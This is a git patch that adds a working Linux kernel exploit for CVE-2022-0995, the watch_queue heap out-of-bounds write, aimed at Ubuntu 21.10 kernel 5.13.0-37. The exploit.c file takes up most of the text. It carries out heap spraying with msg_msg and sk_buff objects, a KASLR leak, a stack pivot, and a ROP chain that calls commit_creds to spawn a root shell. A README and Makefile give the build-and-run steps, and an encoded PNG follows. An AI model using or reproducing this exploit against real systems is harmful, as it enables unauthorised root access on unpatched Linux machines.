From b5cc7f4177a3f12a36dbd1f78254344c435fe1d6 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 25 Oct 2022 15:21:26 +0800 Subject: [PATCH 1/2] ADD CVE-2022-0995 --- cve/linux-kernel/2022/CVE-2022-0995/Makefile | 10 + cve/linux-kernel/2022/CVE-2022-0995/README.md | 12 + cve/linux-kernel/2022/CVE-2022-0995/exploit.c | 405 ++++++++++++++++++ cve/linux-kernel/2022/CVE-2022-0995/poc.png | Bin 0 -> 251968 bytes cve/linux-kernel/2022/CVE-2022-0995/util.c | 32 ++ cve/linux-kernel/2022/CVE-2022-0995/util.h | 52 +++ cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml | 20 + other_list.yaml | 2 + 8 files changed, 533 insertions(+) create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/Makefile create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/README.md create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/exploit.c create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/poc.png create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/util.c create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/util.h create mode 100644 cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile new file mode 100644 index 00000000..8ea8c7b3 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile @@ -0,0 +1,10 @@ +CC = gcc + +all: clean exploit + +.PHONY: exploit +exploit: + $(CC) exploit.c util.c -o exploit -no-pie -static + +clean: + rm -f exploit diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md new file mode 100644 index 00000000..b2e5f781 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md @@ -0,0 +1,12 @@ +# CVE-2022-0995 +This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component. +It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. + +The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`. +The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely. +```sh +make +./exploit +``` + + \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c new file mode 100644 index 00000000..4639a803 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c @@ -0,0 +1,405 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include "util.h" + +#define MSGMSG_SPRAY 2000 +#define MSGMSG_FREE_IDX_0 0 +#define MSGMSG_FREE_IDX_1 1950 +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 +#define PRIMARY_SIZE 96 +#define SECONDARY_SIZE 1024 +#define N_SOCKS 4 +#define N_SKBUFFS 128 +#define NUM_PIPEFDS 256 +#define CORRUPT_MSGMSG_TRIES 50 + +void shell(); + +// Ubuntu kernel 5.13.0-37-generic +// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret +uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000; +// 0xffffffff8109507d: pop r12; pop r15; ret; +uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000; +// 0xffffffff81095080: pop rdi; ret; +uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000; +// 0xffffffff81509a39: xor dh, dh; ret; +uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000; +// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret; +uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000; +uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000; +uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000; +uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000; +uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000; + +uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; +uint64_t kaslr_base = -1; + +typedef struct watch_notification_type_filter wntf_t; +typedef struct watch_notification_filter wnf_t; + +int spray_qids[MSGMSG_SPRAY]; +int ss[N_SOCKS][2]; +int pipe_fds[NUM_PIPEFDS][2]; + +unsigned int real_idx = -1, corrupted_idx = -1; + +/* + spray using msg_msg +*/ +void spray_msgmsg() { + char buffer[0x2000] = {0}; + msg *message = (msg *)buffer; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + spray_qids[i] = spray; + memset(buffer, 0x42, sizeof(buffer)); + + ((unsigned long*)message->mtext)[0] = i; + ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0 + + message->mtype = MTYPE_PRIMARY; + send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg + + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + message->mtype = MTYPE_SECONDARY; + send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue-- + } +} + +void delete_msgmsg(int i, int sz, long mtype) { + char buf[0x2000] = {0}; + get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT); +} + +void check_corruption() { + char buf[0x2000] = {0}; + msg *message = (msg *)buf; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT); + + if (((uint64_t*)message->mtext)[0] != i) { + real_idx = i; + corrupted_idx = ((uint64_t*)message->mtext)[0]; + break; + } + } +} + +void cleanup_msgmsg() { + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx) + continue; + + msgctl(spray_qids[i], IPC_RMID, NULL); + } +} +/* */ + +/* + kmalloc-1024 spray using skbuff +*/ +int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (write(ss[i][0], buf, size) < 0) { + perror("[-] write"); + return -1; + } + } + } + return 0; +} + +int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], buf, size) < 0) { + perror("[-] read"); + return -1; + } + } + } + return 0; +} +/* */ + +void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) { + ((msg_msg*)msg)->m_list_next = list_next; + ((msg_msg*)msg)->m_list_prev = list_prev; + ((msg_msg*)msg)->next = next; + ((msg_msg*)msg)->m_ts = m_ts; + ((msg_msg*)msg)->security = security; + ((msg_msg*)msg)->m_type = mtype; +} + +void build_rop(uint64_t* rop) { + int k = 0; + rop[k++] = 0x0; // dummy rbp + rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops + rop[k++] = 0x0; // pipe_buf->ops + rop[k++] = 0x0; // dummy + rop[k++] = POP_RDI_RET + kaslr_base; + rop[k++] = 0x0; // rdi + rop[k++] = PREPARE_KERNEL_CRED + kaslr_base; + rop[k++] = XOR_DH_DH_RET + kaslr_base; + rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base; + rop[k++] = COMMIT_CREDS + kaslr_base; + rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base; + rop[k++] = 0x0; // rax + rop[k++] = 0x0; // rdi + rop[k++] = user_rip; // user_rip + rop[k++] = user_cs; // user_cs + rop[k++] = user_rflags; // user_rflags + rop[k++] = user_sp; // user_sp + rop[k++] = user_ss; // user_ss +} + +void shell() { + syscall(SYS_execve, "/bin/sh", 0, 0); +} + +void save_state() { + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int main() { + // Assign to cpu 0 + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { + perror("sched_setaffinity()"); + exit(1); + } + + save_state(); + + int fds[2]; + int nfilters = 4; + char buf[0x2000]; + char secondary_buf[SECONDARY_SIZE - 0x140]; + + // Filter setup + wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t)); + if (!filter) { + perror("calloc()"); + exit(1); + } + + /* + STEP 1 + Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024 + Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024 + */ + puts("[+] STEP 1: msg_msg corruption"); + + int ntries = 0; + + do { + ntries++; + + filter->nr_filters = nfilters; + for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96 + filter->filters[i].type = 1; + } + + // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned + filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024 + + if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { + perror("pipe2()"); + exit(1); + } + + // Spray kmalloc-96 + spray_msgmsg(); + delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc + delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup + + // Filter go + if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { + perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); + goto err; + } + + check_corruption(); + + if (corrupted_idx != -1) + break; + + cleanup_msgmsg(); + } while (ntries < CORRUPT_MSGMSG_TRIES); + + if (corrupted_idx == -1) { + puts("[-] couldn't corrupt msg_msg"); + exit(1); + } + + printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx); + puts("[+] freeing corrupted msg_msg...."); + delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY); + + for (int i = 0; i < N_SOCKS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { + perror("[-] socketpair"); + goto err; + } + } + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t primary_msg = ((uint64_t*)buf)[124]; + if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] primary_msg: 0x%lx\n", primary_msg); + + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t secondary_msg = ((uint64_t*)buf)[507]; + if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] secondary_msg: 0x%lx\n", secondary_msg); + + uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE; + printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg); + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] freeing sk_buff...."); + delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE); + + /* + STEP 2 + Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs + */ + puts("[+] STEP 2: KASLR leak"); + puts("[+] Spraying pipe_buffer objs..."); + + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (pipe(pipe_fds[i]) < 0) { + perror("[-] pipe"); + goto err; + } + + if (write(pipe_fds[i][1], "A", 1) < 0) { + perror("[-] write"); + goto err; + } + } + + puts("[+] Leak+free pipe_buffer objs..."); + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { + perror("[-] read"); + goto err; + } + + if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) + kaslr_base = ((uint64_t*)secondary_buf)[2]; + } + } + + if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) { + puts("[-] couldn't leak kaslr"); + goto err; + } + + printf("[*] kaslr leak: 0x%lx\n", kaslr_base); + kaslr_base -= ANON_PIPE_BUF_OPS; + printf("[*] kaslr base: 0x%lx\n", kaslr_base); + + /* + STEP 3 + Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting + */ + puts("[+] STEP 3: Stack pivot"); + puts("[+] Reallocating pipe_buffer object...."); + + struct pipe_buf_operations *ops; + struct pipe_buffer *pipe_buf; + + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + pipe_buf = (struct pipe_buffer*)secondary_buf; + ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; + ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base; + + build_rop((uint64_t*)secondary_buf); + + pipe_buf->ops = fake_secondary_msg + 0x290; + + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] Cleaning up msg_msgs"); + cleanup_msgmsg(); + + puts("[+] Releasing pipe_buffer objs"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (close(pipe_fds[i][0]) < 0) { + perror("[-] close"); + goto err; + } + if (close(pipe_fds[i][1]) < 0) { + perror("[-] close"); + goto err; + } + } + + return 0; + +err: + cleanup_msgmsg(); + return 1; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png new file mode 100644 index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7 GIT binary patch literal 251968 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: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 